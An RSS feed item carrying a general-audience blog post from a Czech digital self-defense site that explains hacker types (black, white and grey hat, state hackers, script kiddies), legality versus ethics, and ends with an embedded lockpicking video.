		<category><![CDATA[grey hat]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[lockpicking]]></category>
		<category><![CDATA[white hat]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1659</guid>

					<description><![CDATA[<p>Hacking and hackers are shrouded in many myths, perhaps most notably by film production and journalists who need to engage their readers and viewers.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/">Hackers &#8211; who are we defending ourselves against?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hacking and hackers are shrouded in many myths, perhaps most notably by film production and journalists who need to engage their readers and viewers. But very little of what we see in the media corresponds to reality.<span id="more-1659"></span></p>
<h2>So who are the dreaded hackers, can I identify them and what do they have in common?</h2>
<p>Hackers come from different backgrounds, different parts of the world and different social classes. You can&#8217;t generally say that the typical hacker is a twenty-five-year-old white guy, addicted to caffeine from energy drinks, who doesn&#8217;t get along with his peers and spends all his free time in a dark basement surrounded by computers.<br />
What most hackers have in common, however, is the ability to use things in ways other than how they were intended and to circumvent obstacles. Whether it&#8217;s physical, technological or psychological.<br />
In the beginning, it&#8217;s curiosity. How the world around us works, how different tools work and how the human mind works. And if the object of interest has any weaknesses in its design that can be exploited or abused (this is often a rather subjective assessment).</p>
<h2>Opening the lock</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1665" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg" alt="" width="225" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg 225w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-600x800.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-500x666.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg 640w" sizes="auto, (max-width: 225px) 100vw, 225px" /></a>When you want to open a classic lock, it&#8217;s a good idea to know how its mechanism works first. Then you can use the tools and techniques to open it without a key. Or you can simply use explosives. While this can be fancy, it has a few minor drawbacks. Someone may notice and have strange questions like if the door is yours, why you don&#8217;t unlock it normally, and where you got the untaxed explosive. Sometimes it can also be handy so that the owner of the lock doesn&#8217;t even find out in the future that it was unlocked (it&#8217;s pretty hard to lock after using explosives). Well, and it can also happen that the explosion will destroy what is behind the lock and what you are doing it for in the first place. Not to mention that if handled carelessly, it can radically reduce the number of your favorite limbs.<br />
That&#8217;s why it&#8217;s quite handy to know that there&#8217;s a mechanism in the lock that can be opened fairly quickly, quietly, and without further consequence. Therefore, hackers are usually very familiar with the systems they are attacking. As we will show later, this does not mean that the hacker has to be a computer genius. There is room for hackers in almost every field.<br />
After all, hacking isn&#8217;t just getting into places we shouldn&#8217;t. It can also be the ability to use things differently. For example, the recently popular biohacking is not about sneaking into (preferably) your own body and taking something there. Rather, we&#8217;re trying to improve the processes that happen there.<br />
I&#8217;ll stick to describing hacking in the most familiar IT sector, but basically anything can be applied elsewhere in some way.</p>
<h2>Hackers, fashion and the state</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png"><img loading="lazy" decoding="async" class="-size-medium wp-image-1660 alignright" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png" alt="Western" width="300" height="231" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png 436w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Because the world needs pigeonholes, hackers have also started to divide themselves into groups: black hat, white hat and grey hat. This designation was taken from Hollywood Westerns of the 1920s, where there was an unwritten convention that heroes wore white hats and villains wore black hats. At least that&#8217;s what Wikipedia says.</p>
<p><strong>Black hat</strong> hackers are the equivalent of the negative heroes of the wild west. They use their knowledge to enrich themselves or harm their victims. A black hat hacker will break into your bank account and take your money, install a webcam tracking program on your computer or crash your company&#8217;s website.</p>
<p>A special subset of black hat hackers are state-organized hackers. These are usually employees or contractors of the secret services or military who are tasked with cyber attacks on targets outside the territory of the state. Compared to independent hackers, they have a big advantage in that they have access to the best technology or other resources and can thus afford attacks that are unavailable to others. But this topic deserves its own article. So more about that some other time.</p>
<p><strong>A white hat</strong> hacker will also hack into your company&#8217;s website. But there is one significant difference. He will only do it with your permission. That&#8217;s why they&#8217;re also called ethical hackers. Why would you give your consent? Precisely because you want to know if your business is secure against such an attack. If a white hat hacker succeeds in such a penetration, he will do you no harm. On the contrary, you&#8217;ll get a precise description from him of what needs to be fixed so that no one else can get in. And you pay him for it. That&#8217;s called penetration testing. White hat hackers often set up companies to help their customers improve the security of their systems.</p>
<p><strong>Grey Hat hacker</strong> &#8211; often claimed to be something in between. But rarely do you learn what it means to be something in between. Can someone be just a little bit of a thief? It&#8217;s more likely that the line between white hat and black hat is blurry. A hacker may pose as a white hat, but there is a suspicion that he is also using his knowledge and skill unethically. Alternatively, he attacks companies, organisations or even states without their consent or knowledge, but he is motivated (sometimes subjectively) by good reasons. He may be an environmental activist, a human rights campaigner or even a religious fanatic.</p>
<h2>Legal versus ethical</h2>
<p>At the same time, we need to distinguish between legality and ethics. Laws are different in different parts of the world. Here in Europe, for example, there are different rules almost every 500km. What is legal in Prague may be criminal in Vienna. And because the Internet has no borders, it makes it even more complicated for judging. In countries like North Korea, for example, any use of a computer is illegal in most cases. Therefore, it is not possible to judge hackers according to local national law. Especially at a time when nation states are starting to lose their meaning.</p>
<h2>Blind shooters and non-state armies</h2>
<p>There is another group. They are not hackers in the true sense of the word. More like wannabe hackers. They&#8217;re known as &#8220;Script kiddies&#8221;. Today, there are a large number of hacking tools on the Internet that are freely downloadable. And it can be tempting to look like a hacker in front of your buddy. It&#8217;s not difficult to download a program, press the imaginary &#8220;Hack it!&#8221; button. But the attacker usually gets nothing. Because even with these tools, you need to work with purpose and precision. On the other hand, even if he doesn&#8217;t gain anything, he can still do some damage (corrupt the database, delete important files, overwhelm the network, etc.). Therefore, it is important to protect systems even against such amateur attacks.</p>
<p>In the cyber world we can also find non-state organised hacking groups. They are actually small armies of hackers who have a common goal and try to achieve it by joining forces. However, this does not necessarily mean that these groups meet in secret places and carry out their attacks (ethical or unethical) from there. The individual members often do not know each other personally. They may be scattered all over the world, operating under aliases, and all they need to know about each other is their abilities. This ensures, among other things, their physical safety. If a member of the group is discovered, they can&#8217;t reveal anything important about their colleagues.</p>
<h2>I want to become a hacker</h2>
<p>A common question is how one can become a hacker. The answer is not simple and certainly not universal. Hacking is about learning and deepening your knowledge every day. Basically, anyone who is an expert in their field and has the desire to keep improving and delving into every detail can become a hacker. There isn&#8217;t even a clear line where we can say that we (or anyone else) is a hacker. While there are various courses and certifications, even that is not a prerequisite. A certificate doesn&#8217;t necessarily make you a hacker if you don&#8217;t keep doing it, and on the other hand, the lack of one (it costs time and money) doesn&#8217;t mean you&#8217;re not a hacker.</p>
<h2>Well then, how do I open the lock?</h2>
<p>It&#8217;s not hard and after practicing it can go fairly quickly. But this is just a basic technique, it&#8217;s more or less a sport (yes, there are competitions). Professional thieves hardly use it.</p>
<p>See the video for instructions, and <a href="https://www.digitalni-sebeobrana.cz/en/osobni-konzultace/">I&#8217;ll tell you how to defend your digital locks</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-zj8w-pbnolq" style="max-width:1400px;" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:350/197" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.285714%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-zj8w-pbnolq" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="788" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="1400"></iframe>
								</div>
</p></div>
<p>												<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/hackeri-proti-komu-se-branime\/#arve-youtube-zj8w-pbnolq","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/zj8W-PbnOlQ?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>							</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/">Hackers &#8211; who are we defending ourselves against?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
